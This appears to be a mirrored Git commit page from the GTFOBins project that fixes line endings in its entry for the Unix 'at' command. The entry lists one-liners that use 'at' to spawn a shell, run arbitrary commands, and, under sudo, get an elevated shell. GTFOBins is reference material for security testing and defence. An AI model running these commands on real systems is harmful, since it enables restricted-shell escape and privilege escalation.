1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-06-03 21:16:03 +02:00

Fix newlines in at

This commit is contained in:
Andrea Cardaci 2021-01-15 20:38:33 +01:00
parent 578f951c76
commit 013bf5a0c9

View File

@ -1,14 +1,14 @@
---
functions:
shell:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
command:
- description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location.
code: |
COMMAND=id
echo "$COMMAND" | at now
sudo:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null
---
---
functions:
shell:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
command:
- description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location.
code: |
COMMAND=id
echo "$COMMAND" | at now
sudo:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null
---